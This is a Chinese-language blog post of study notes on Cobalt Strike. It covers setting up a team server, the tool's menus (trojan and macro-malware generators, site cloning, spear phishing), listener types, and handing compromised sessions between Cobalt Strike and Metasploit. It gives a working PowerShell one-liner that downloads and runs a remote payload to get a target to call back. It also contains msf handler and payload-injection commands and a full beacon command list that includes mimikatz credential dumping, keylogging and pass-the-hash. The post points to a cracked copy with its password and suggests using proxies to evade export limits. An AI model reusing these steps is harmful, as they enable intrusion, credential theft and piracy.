Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。Cobalt Strike主要用于团队作战,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。
Cobalt Strike,据说现在最新版为3.9,主要分为试用版和付费版,试用版为21天,付费版3500美元,据说网上也有一些破解教程,cobaltstrik3.6破解版下载 密码: 51tg。因为Cobalt Strike是美国对外限制型出口软件,只在美国和加拿大允许发售,所以我们需要google搜索下usa的个人代理来绕开限制。
0x01 安装与运行
Cobalt Strike需要JAVA环境,需要注意的是JAVA环境不要安装最新版,否则会出一些问题,Cobalt Strike分为客户端和服务端可分布式操作可以协同作战。但一定要架设在外网上,或者自己想要搭建的环境中,服务器端只能运行在Linux系统上。其中关键的文件是teamserver以及cobaltstrike.jar,将这两个文件放到服务器上同一个目录,然后运行:
1 | ./teamserver 192.168.3.32 test #自己的IP和密码 |
说一下我安装运行时遇到的坑,首先:JAVA版本必须为8,否则就因版本问题无法编译运行;二:IP必须为真实IP,不能使用0.0.0.0或者127.0.0.1,这样也会报错的。
服务器端运行之后,我们就可以运行客户端了,客户端可以在Windows或者Linux下都可以。输入我们刚才IP以及端口、密码,用户名可以任意设置。
当攻击目标在控制台所操作的指令都会被记录到保留在Cobalt Strike目录logs下,对了,破解版是无法更新的。
0x02 参数详情
Cobalt Strike
1234567
New Connection #进行另外一个连接,支持连接多个服务器端Preferences #设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录Visualization #主要展示输出结果的形式VPN Interfaces #设置VPN接口Listenrs #创建一个ListenerScript Manager #Close #退出连接
View
12345678910
Applications #显示受害者机器的应用信息Credentials #凭证当通过hashdump或者Mimikatz抓取过的密码都会储存在这里。Downloads #下载文件Event Log #主机上线记录以及团队协作聊天记录Keystrokes #键盘记录Proxy Pivots #代理模块Screenshots #进程截图Script Console #控制台,在这里可以加载[各种脚本](https://github.com/rsmudge/cortana-scripts)以增强功能Targets #显示目标Web Log #Web访问记录
Attacks
1234567891011121314151617
Packages #攻击包 HTML Application 生成恶意的HTA木马文件 MS Office Macro 生成office宏病毒文件 Payload Generator 生成各种语言版本的payload USB/CD AutoPlay 生成利用自动播放运行的木马文件 Windows Dropper 捆绑器,能够对文档类进行捆绑 Windows Executable 生成可执行exe木马 Windows Executable(S) 生成无状态的可执行exe木马Web Drive-by #钓鱼攻击 Manage 对开启的web服务进行管理 Clone Site 克隆网站,可以记录受害者提交的数据 Host File 提供一个文件下载,可以修改Mime信息 PowerShell Web Delivery 类似于msf 的web_delivery Signed Applet Attack 使用java自签名的程序进行钓鱼攻击 Smart Applet Attack 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本 System Profiler 用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等Spear Phish #用来邮件钓鱼的模块
Reporting
123456
activity report #活动报告生成Hosts report #主机报告Indicators opromisef com #目标报告Sessions report #会话报告Social engineering report #社会工程报告Export data #数据出口
help
12345
Homepage #官方主页Support #技术支持Arsenal #开发者System information #版本信息About #关于
0x03 基本运行
首先使用Cobalt Strike需要创建一个Listener,点击 Cobalt Strike->Listeners ,然后点击Add便可以创建自己想要的Listeners了,Cobalt Strike3.6包括
123456789 | windows/beacon_dns/reverse_dns_txtwindows/beacon_dns/reverse_httpwindows/beacon_http/reverse_httpwindows/beacon_https/reverse_httpswindows/beacon_smb/bind_pipewindows/foreign/reverse_dns_txtwindows/foreign/reverse_httpwindows/foreign/reverse_httpswindows/foreign/reverse_tcp |
其中windows/beacon是Cobalt Strike自带的模块,包括dns,http,https,smb四种方式的监听器,windows/foreign为外部监听器,即msf或者Armitage的监听器。 选择监听器以后,host会自动填写我们开启服务时的ip,配置监听端口,然后保存,监听器就创建好了。
在创建好监听器,接下来就需要配置我们的客户端了,Cobalt Strike提供了多种包括攻击方式,在这里我们使用Powershell进行攻击。
1 | powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.3.83:8888/a'))" |
当我们在目标靶机运行上面这条Powershell之后,我们的Cobalt Strike客户端就会监听到我们的反弹链接,我们就可以看到已经有目标机上线。
123456789101112131415161718192021222324252627282930大专栏 Cobalt Strike学习笔记line">31323334353637383940414243444546474849505152535455565758596061626364656667686970717273 | beacon> help Beacon Commands=============== Command Description ------- ----------- browserpivot Setup a browser pivot session bypassuac Spawn a session in a high integrity process cancel Cancel a download that's in-progress cd Change directory checkin Call home and post data clear Clear beacon queue covertvpn Deploy Covert VPN client desktop View and interact with target's desktop dllinject Inject a Reflective DLL into a process download Download a file downloads Lists file downloads in progress drives List drives on target elevate Try to elevate privileges execute Execute a program on target exit Terminate the beacon session getsystem Attempt to get SYSTEM getuid Get User ID hashdump Dump password hashes help Help menu inject Spawn a session in a specific process jobkill Kill a long-running post-exploitation task jobs List long-running post-exploitation tasks kerberos_ccache_use Apply kerberos ticket from cache to this session kerberos_ticket_purge Purge kerberos tickets from this session kerberos_ticket_use Apply kerberos ticket to this session keylogger Inject a keystroke logger into a process kill Kill a process link Connect to a Beacon peer over SMB logonpasswords Dump credentials and hashes with mimikatz ls List files make_token Create a token to pass credentials mimikatz Runs a mimikatz command mkdir Make a directory mode dns Use DNS A as data channel (DNS beacon only) mode dns-txt Use DNS TXT as data channel (DNS beacon only) mode http Use HTTP as data channel mode smb Use SMB peer-to-peer communication net Network and host enumeration tool note Assign a note to this Beacon portscan Scan a network for open services powershell Execute a command via powershell powershell-import Import a powershell script ps Show process list psexec Use a service to spawn a session on a host psexec_psh Use PowerShell to spawn a session on a host pth Pass-the-hash using Mimikatz pwd Print current directory rev2self Revert to original token rm Remove a file or folder rportfwd Setup a reverse port forward runas Execute a program as another user screenshot Take a screenshot shell Execute a command via cmd.exe sleep Set beacon sleep time socks Start SOCKS4a server to relay traffic socks stop Stop SOCKS4a server spawn Spawn a session spawnas Spawn a session as another user spawnto Set executable to spawn processes into steal_token Steal access token from a process timestomp Apply timestamps from one file to another unlink Disconnect from parent Beacon upload Upload a file wdigest Dump plaintext credentials with mimikatz winrm Use WinRM to spawn a session on a host wmi Use WMI to spawn a session on a host |
0x04 与msf进行联动
- cs获得了一个上线机器,想把这个机器丢给msf中的meterpreter获得一个session进行控制
这里我们已经获得了一个上线机器。
12345678 | msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp ##不要用x64的payloadpayload => windows/meterpreter/reverse_tcpmsf exploit(handler) > set lhost 192.168.3.72 lhost => 192.168.3.72msf exploit(handler) > set lport 5555lport => 5555msf exploit(handler) > exploit -j |
之后使用Cobalt Strike创建一个windows/foreign/reverse_tcp Listener,其中ip为msf的ip地址,端口为msf所监听的端口,
然后选中计算机,右键->Spawn:选择刚刚创建的监听器:
这个时候我们可以看到,msf上的监听已经上线,我们可以进行我们想要的一些操作了。
- msf获得了一个meterpreter的session,想把session传给cs
这里我们已经获得了一个meterpreter的session
在CS中创建一个监听者,和上一步类似,这里host需要修改为CS客户端IP,创建好之后我们便监听着6666端口,等待着被控机连接。
此时切我们换到meterpreter中,123456789101112
meterpreter > background # 切换到后台msf exploit(handler) > use exploit/windows/local/payload_inject # 这个exploit是注入一个新的payload 到当前的session里面msf exploit(payload_inject) > set payload windows/meterpreter/reverse_http # 不能使用x64的payloadpayload => windows/meterpreter/reverse_httpmsf exploit(payload_inject) > set DisablePayloadHandler true # 关闭msf payload的监听,可以不用设置,不影响效果msf exploit(payload_inject) > set lhost 192.168.3.103 # cs的服务端IPlhost => 192.168.3.103msf exploit(payload_inject) > set lport 6666 # 监听者的监听端口lport => 6666msf exploit(payload_inject) > set session 1 # 这里是之前meterpreter的session编号session => 1msf exploit(payload_inject) > exploit
此时机器便已成功从cs成功上线,可以进行各种姿势的操作。
- cs获得了一个上线机器,想把这个机器丢给msf中继续进行渗透
根据上线的肉鸡,可以使用SOCKS代理
配置proxychains.conf,添加socks4 127.0.0.1 32557,然后就可以通过proxychains 使用各种工具做内网渗透了
来源:https://www.cnblogs.com/lijianming180/p/12041088.html